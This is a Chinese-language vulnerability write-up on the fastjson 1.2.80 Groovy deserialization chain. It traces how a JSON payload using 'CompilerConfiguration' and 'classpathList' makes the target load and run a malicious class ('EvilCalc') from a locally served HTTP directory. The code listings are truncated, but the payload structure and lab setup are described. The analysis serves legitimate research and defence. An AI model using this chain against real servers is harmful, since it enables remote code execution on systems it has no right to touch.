沉浸式体验 fastjson1.2.80的Groovy利用链
本文已制作成视频带大家沉浸式体验 fastjson1.2.80的Groovy利用链
该漏洞为浅蓝师傅在kcon2022的《Hacking JSON》议题中提出来的,下面给出会议ppt的链接
https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf
一、 漏洞绕过原理
该漏洞适用的fastjson版本为 ( 1.2.72 , 1.2.80 ]
在学习漏洞之前,我们需要了解一些前置知识
- 前置知识1:类继承自期望类,且不在黑名单,就可以被fastjson正常的反序列化并加入到缓存

判断当前类继承自期望类,加载该类并加入缓存对应代码在ParserConfig#checkAutoType中:

- 前置知识2:fastjson在1.2.73版本的修改中,对方法
JavaBeanDeserializer#createInstance进行了修改。当类属性与显示指定的期望类不相同时,会对该类属性进行实例化,被实例化之后的属性(包括setter方法的参数、public field参数或者是构造方法的参数)的类型会被添加到反序列化缓存TypeUtils.mappings中。

关于JavaBean 实例化机制:
在1.2.80版本的漏洞中,我们使用Throwable 作为期望类,因为Throwable 类及其子类对应的反序列化器为ThrowableDeserializer

那么我们来看ThrowableDeserializer这个类的deserialze方法,其中调用checkAutoType方法且设置了期望类。

然后通过getDeserializer拿到对应的反序列化器,然后用反序列化器拿到对应字段的字段反序列化实例fieldDeserializer

如果value不是fieldClass类型的会进入TypeUtils#cast进行类型转换

在这个函数中会根据传入对象的具体类型来进行对应的类型转换操作,然后进入TypeUtils#castToJavaBean

其中调用了JavaBeanDeserializer#createInstance方法,也就是我们在前置知识2中讲到的
因此,我们可以根据以下条件查找满足条件的gadget

- 类为Throwable的子类;
- setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。
二、Groovy利用链分析
下面来具体分析一下Groovy这条链
1.搭建复现环境
pom添加依赖
1 | <dependency> |
首先构造恶意类EvilCalc,编译该类,然后将EvilCalc.class放到任意目录下
1 | import org.codehaus.groovy.ast.ASTNode; |
在该目录下启动一个http服务
1 | python -m http.server 8080 --bind 127.0.0.1 |
然后在该目录下创建一个META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,在文件中写入恶意类的名称;

创建测试类,写入如下代码
1 | public static void main(String[] args) { |
对应的json字符串为:
1 | { |
运行测试类,弹出计算器为成功
2.调试并分析漏洞利用过程(payload1)
当识别到json字符串中的@type时,进入checkAutoType方法,当前要加载的类为java.lang.Exception

在该方法中,直接从Mapping中取出Exception类(在TypeUtils类加载之后mapping中会添加一些类,包括Exception类)

然后回到DefaultJSONParser类继续执行,根据拿到的类java.lang.Exception获取反序列化器

因为java.lang.Exception是继承 Throwable类的,所以获取到的是ThrowableDeserializer类型的反序列化器;

拿到反序列化器后,会调用其deserialze方法

也就是调用ThrowableDeserializer的deserialze方法,其中会获取到第二个@type字段中的类名,带入checkAutoType(),并且把Throwable.class作为期望类。

跟进checkAutoType()方法,先设置expectClassFlag为 true

然后判断类是否在黑名单

最后会加载类org.codehaus.groovy.control.CompilationFailedException,然后将其放入Mapping

加载之后回到ThrowableDeserializer#deserialze,调用TypeUtils.cast处理类属性。

然后就是我们在前面的漏洞原理讲的,调用到castToJavaBean

然后在castToJavaBean方法中调用了getDeserializer获取了一个javaBean反序列化器,并且调用了createInstance方法对该类属性进行实例化

在调用getDeserializer时,会将ProcesssingUnit对应的反序列化器加入到deserializers中

之后会调用setValue,但是我们给的值为空,所以触发异常


最后会在测试类中抛出异常,捕获异常并进入payload2
1 | catch (Exception e){ |
3.调试并分析漏洞利用过程(payload2)
同样,识别到key为”@type”时,设置typeName为其值”org.codehaus.groovy.control.ProcessingUnit“
然后同样进入checkAutoType方法

那这个类怎么加载呢,往前翻一下看到我加粗的地方,图片放下面:
再回到checkAutoType方法,根据typeName从deserializers取出Class类型的对象org.codehaus.groovy.control.ProcessingUnit


然后获取其对应的反序列化器,调用JavaBeanDeserializer类的deserialze方法

继续跟进deserialze方法,设置typeName为org.codehaus.groovy.tools.javac.JavaStubCompilationUnit

设置期望类为class org.codehaus.groovy.control.ProcessingUnit,然后进入checkAutoType

这里会像之前一样,在checkAutoType中调用TypeUtils.loadClass加载类然后调用TypeUtils.addMapping将其加入mapping。然后调用JavaBeanDeserializer类的deserialze方法

跟进deserialze方法,调用了parseField方法

进入parseField方法,先获得一个fieldValueDeserilizer,用来解析json字符串"@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8080/"。然后调用deserialze方法反序列化类CompilerConfiguration。

我们可以看到,调用deserialze方法后,value为一个CompilerConfiguration类型的对象,且属性classpath被赋值为http://127.0.0.1:8080/

接着下面就是把CompilerConfiguration对象赋给JavaStubCompilationUnit的config参数;


然后使用反射拿到一个Constructor,调用构造方法创建一个实例,传入的参数为params,分别是刚才的CompilerConfiguration对象和两个null

然后跟进JavaStubCompilationUnit的构造方法,其中先调了父类的构造方法

在构造方法中调用setClassLoader方法,该方法设置classLoder为一个新创建的GroovyClassLoader类的实例


在GroovyClassLoader的构造方法中,会从config中获取classpath添加进GroovyClassLoader对象;

然后从addPhaseOperations方法调用到getResources方法


在该方法中会使用双亲委派的方式加载远程资源,然后调用findResources方法

加载到之后会把其中的内容放到transformNames中

然后调用addPhaseOperationsForGlobalTransforms方法

跟进方法,在该方法中对transformNames中的类进行加载并实例化

在实例化时调用EcilCalc类的构造方法,触发恶意操作。









